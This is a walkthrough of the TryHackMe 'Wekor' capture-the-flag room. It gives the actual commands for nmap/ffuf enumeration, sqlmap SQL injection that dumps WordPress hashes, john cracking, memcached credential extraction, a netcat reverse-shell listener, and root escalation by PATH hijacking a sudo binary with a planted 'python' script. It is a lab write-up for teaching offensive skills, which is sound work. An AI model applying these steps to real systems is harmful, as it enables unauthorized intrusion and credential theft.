Challenge Link - https://tryhackme.com/room/wekorra

Initial Enumeration

As usual I started with nmap scan or rustscan for faster results using the command shown below.


❯ rustscan 10.10.4.25 --range 0-65535 --ulimit 5000 -- -sC -sV -Pn -o nmap.txt
.
.
.
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 95:c3:ce:af:07:fa:e2:8e:29:04:e4:cd:14:6a:21:b5 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDn0l/KSmAk6LfT9R73YXvsc6g8qGZvMS+A5lJ19L4G5xbhSpCoEN0kBEZZQfI80sEU7boAfD0/VcdFhURkPxDUdN1wN7a/4alpMMMKf2ey0tpnWTn9nM9JVVI9rloaiD8nIuLesjigq+eEQCaEijfArUtzAJpESwRHrtm2OWTJ+PYNt1NDIbQm1HJHPasD7Im/wW6MF04mB04UrTwhWBHV4lziH7Rk8DYOI1xxfzz7J8bIatuWaRe879XtYA0RgepMzoXKHfLXrOlWJusPtMO2x+ATN2CBEhnNzxiXq+2In/RYMu58uvPBeabSa74BthiucrdJdSwobYVIL27kCt89
|   256 4d:99:b5:68:af:bb:4e:66:ce:72:70:e6:e3:f8:96:a4 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKJLaFNlUUzaESL+JpUKy/u7jH4OX+57J/GtTCgmoGOg4Fh8mGqS8r5HAgBMg/Bq2i9OHuTMuqazw//oQtRYOhE=
|   256 0d:e5:7d:e8:1a:12:c0:dd:b7:66:5e:98:34:55:59:f6 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJvvZ5IaMI7DHXHlMkfmqQeKKGHVMSEYbz0bYhIqPp62
80/tcp open  http    syn-ack Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: POST OPTIONS GET HEAD
| http-robots.txt: 9 disallowed entries 
| /workshop/ /root/ /lol/ /agent/ /feed /crawler /boot 
|_/comingreallysoon /interesting

We have two open ports and from the scan result we have some interesting directories in robots.txt file and only /comingreallysoon is available and also from the introduction of the room we have to use "wekor.thm" as domain name, visiting http://wekor.thm/comingreallysoon gives another directory.

Welcome Dear Client! We've setup our latest website on /it-next, Please go check it out! If you have any comments or suggestions, please tweet them to @faketwitteraccount! Thanks a lot !

We have a web application on /it-next which is a shopping website. The next step is to run directory bruteforce on /it-next using the command shown below:

❯ ffuf -u http://wekor.thm/it-next/FUZZ -fc 404 -t 250 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
.
.
.
________________________________________________

images                  [Status: 301, Size: 315, Words: 20, Lines: 10]
css                     [Status: 301, Size: 312, Words: 20, Lines: 10]
js                      [Status: 301, Size: 311, Words: 20, Lines: 10]
fonts                   [Status: 301, Size: 314, Words: 20, Lines: 10]
revolution              [Status: 301, Size: 319, Words: 20, Lines: 10]

I checked all the directories but couldn't find anything useful, next I decided to again run directory brute force with some common extension specially PHP.

❯ ffuf -u http://wekor.thm/it-next/FUZZ -e .php,.txt,.html,.js -fc 404 -t 250 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
.
.
.
________________________________________________

images                  [Status: 301, Size: 315, Words: 20, Lines: 10]
index.php               [Status: 200, Size: 66925, Words: 19904, Lines: 1246]
css                     [Status: 301, Size: 312, Words: 20, Lines: 10]
js                      [Status: 301, Size: 311, Words: 20, Lines: 10]
config.php              [Status: 200, Size: 0, Words: 1, Lines: 1]
fonts                   [Status: 301, Size: 314, Words: 20, Lines: 10]

Found some .php files but they are of no use, next I decided to enumerate the website manually and found something interesting in http://wekor.thm/it-next/it_cart.php, at the end we can use a COUPON code , I tried with code 11 and it doesn't worked next I tried with 12345 and it worked.

Coupon Code : 12345 With ID : 1 And With Expire Date Of : doesnotexpire Is Valid!

Nice, means these codes are stored somewhere in the database and this form can be vulnerable to SQL injection, I tried manual exploitation first and it worked very easily, for blog purpose I have used sqlmap otherwise blog will become very lengthy, you can contact me on discord cyberbot#1859 if you need help in manual SQL injection.

❯ sqlmap --url "http://wekor.thm/it-next/it_cart.php" --dbs --forms
.
.
.
available databases [6]:
[*] coupons
[*] information_schema
[*] mysql
[*] performance_schema
[*] sys
[*] wordpress

Umm a database for wordpress? okay, we will exploit this vulnerability later because first of all we have to find a wordpress website, we have domain wekor.thm so what if there are subdomains and one of the subdomains is using wordpress, let's find out.

❯ ffuf -H "Host: FUZZ.wekor.thm" -u http://wekor.thm -t 500 -fs 23 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
.
.
.
________________________________________________

Site                    [Status: 200, Size: 143, Words: 27, Lines: 6]
[WARN] Caught keyboard interrupt (Ctrl-C)

Let's add this to /etc/hosts file.

❯ cat /etc/hosts | grep -i "wekor"
10.10.4.25	wekor.thm site.wekor.thm

Visiting http://site.wekor.thm/ doesn't give any information, next I decided to run directory brute-force against this subdomain using the command shown below.

❯ ffuf -u http://site.wekor.thm/FUZZ -fc 404 -t 250 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
.
.
.
________________________________________________

wordpress               [Status: 301, Size: 320, Words: 20, Lines: 10]

Great we have found the wordpress website, now let's get back to the SQLi vulnerability to get username and password for wordpress login.

❯ sqlmap --url "http://wekor.thm/it-next/it_cart.php" -D wordpress --tables --forms
.
.
.
.
Database: wordpress
[12 tables]
+-----------------------+
| wp_commentmeta        |
| wp_comments           |
| wp_links              |
| wp_options            |
| wp_postmeta           |
| wp_posts              |
| wp_term_relationships |
| wp_term_taxonomy      |
| wp_termmeta           |
| wp_terms              |
| wp_usermeta           |
| wp_users              |
+-----------------------+






** Fetching columns name in wp_users tables using the command .**

❯ sqlmap --url "http://wekor.thm/it-next/it_cart.php" -D wordpress -T wp_users --columns --forms
.
.
.
[10 columns]
+---------------------+---------------------+
| Column              | Type                |
+---------------------+---------------------+
| display_name        | varchar(250)        |
| ID                  | bigint(20) unsigned |
| user_activation_key | varchar(255)        |
| user_email          | varchar(100)        |
| user_login          | varchar(60)         |
| user_nicename       | varchar(50)         |
| user_pass           | varchar(255)        |
| user_registered     | datetime            |
| user_status         | int(11)             |
| user_url            | varchar(100)        |
+---------------------+---------------------+


**Fetching all the records in column user_login and user_pass**

❯ sqlmap --url "http://wekor.thm/it-next/it_cart.php" -D wordpress -T wp_users -C user_login,user_pass --forms --dump
.
.
.

Table: wp_users
[4 entries]
+------------+------------------------------------+
| user_login | user_pass                          |
+------------+------------------------------------+
| admin      | $P$BoyfR2************************* |
| wp_jeffrey | $P$BU8QpW************************* |
| wp_yura    | $P$B6jSC3************************* |
| wp_eagle   | $P$BpyTRb************************* |
+------------+------------------------------------|


Cracking all the hashes and 3 out of 4 were cracked easily using john.

❯ ../../john/run/john --show hash
?:ro**
?:s**
?:xx***

3 password hashes cracked, 1 left

We need to login into the admin panel and I found that user  wp_yura has maximum privileges in the control panel.

Now it's easy to get a reverse shell using the theme editor technique, right ? I have skipped that part, now let's directly jump to privilege escalation.

❯ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.6.64.121] from (UNKNOWN) [10.10.4.25] 42488
Linux osboxes 4.15.0-133-generic #137~16.04.1-Ubuntu SMP Fri Jan 15 02:55:05 UTC 2021 i686 i686 i686 GNU/Linux
 03:58:22 up  1:45,  0 users,  load average: 0.02, 0.02, 0.00
USER     TTY      FROM             [email protected]   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ cd /home
$ ls
Orka
lost+found
c$cd Orka
/bin/sh: 3: cd: can't cd to Orka

I found one user in /home but www-data can't access Orka's home directory, Now I started to explore different files and folders but failed to find anything. Next I thought to check for services running internally that are for only 127.0.0.1.

Command Used:

[email protected]:/home$ netstat -ano
netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:3010          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:11211         0.0.0.0:*               LISTEN      off (0.00/0/0)

Service running on port 11211 is memcached and I have seen this service enumeration in different CTF challenges, basically we can use this service to find the password of user Orka, If I am not thinking in the wrong way, you can read more about memcached exploitation here .

www-[email protected]:/home$ telnet 127.0.0.1 11211
telnet 127.0.0.1 11211
Trying 127.0.0.1...
Connected to 127.0.0.1.
Escape character is '^]'.
stats cachedump 1 0
stats cachedump 1 0
ITEM id [4 b; 1615360322 s]
ITEM email [14 b; 1615360322 s]
ITEM salary [8 b; 1615360322 s]
ITEM password [15 b; 1615360322 s]
ITEM username [4 b; 1615360322 s]
END
get username
get username
VALUE username 0 4
Orka
END
get password
get password
VALUE password 0 15
OrkAiSC****
END

Nice we have Orka's password, using su Orka we can get Orka's shell.

[email protected]:/home$ su Orka
su Orka
Password: OrkAiS****

[email protected]:/home$ id
id
uid=1001(Orka) gid=1001(Orka) groups=1001(Orka)
[email protected]:/home$

Using sudo -l to check for user privileges and found this interesting thing:

env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User Orka may run the following commands on osboxes:
    (root) /home/Orka/Desktop/bitcoin

Running bitcoin binary as root.

[email protected]:/home$ sudo -u root /home/Orka/Desktop/bitcoin
sudo -u root /home/Orka/Desktop/bitcoin
Enter the password : lol
lol
Access Denied...

We need to find the correct password to get in, I transferred the binary to my local system and then opened it in ghidra and there I found the correct password.

After accepting the correct password binary is also running a python script and if we observe carefully then it is not using the absolute path it is just using python and we can take advantage of this by PATH privilege escalation.

[email protected]:/tmp$ cat python
cat python
#!/bin/bash
/bin/bash
[email protected]:/tmp$ chmod 777 python
chmod 777 python
[email protected]:/tmp$ export PATH=/tmp:$PATH
export PATH=/tmp:$PATH

Running bitcoin binary as user root, but nothing happened, our python script in /tmp didn't execute why ? Well I don't know the reason for this but then I thought to run the command echo $PATH in my local system and also in the target machine and got completely different results.

[email protected]:/tmp$ echo $PATH
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games



❯ echo $PATH
/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

Now I run the linpeas.sh script and found that /usr/sbin/ is writable so I just copied python named file from /tmp to /usr/sbin/ because /usr/sbin/ has more precedence than /usr/bin/, again executing bitcoin binary as root and this time it will call the python in /usr/sbin/ instead of python in /usr/bin/.

[email protected]:~$ cp /tmp/python /usr/sbin/
cp /tmp/python /usr/sbin/
[email protected]:~$ sudo -u root /home/Orka/Desktop/bitcoin
sudo -u root /home/Orka/Desktop/bitcoin
Enter the password : ***
password
Access Granted...
			User Manual:			
Maximum Amount Of BitCoins Possible To Transfer at a time : 9 
Amounts with more than one number will be stripped off! 
And Lastly, be careful, everything is logged :) 
Amount Of BitCoins : 1
1
[email protected]:~# id
id
uid=0(root) gid=0(root) groups=0(root)
[email protected]:~#

We are root now and this completed the challenge! Hope you like the walkthrough, For any queries you can contact me on discord cyberbot#1859.

NOTE: The awesome artwork used in this article was created by chubasan.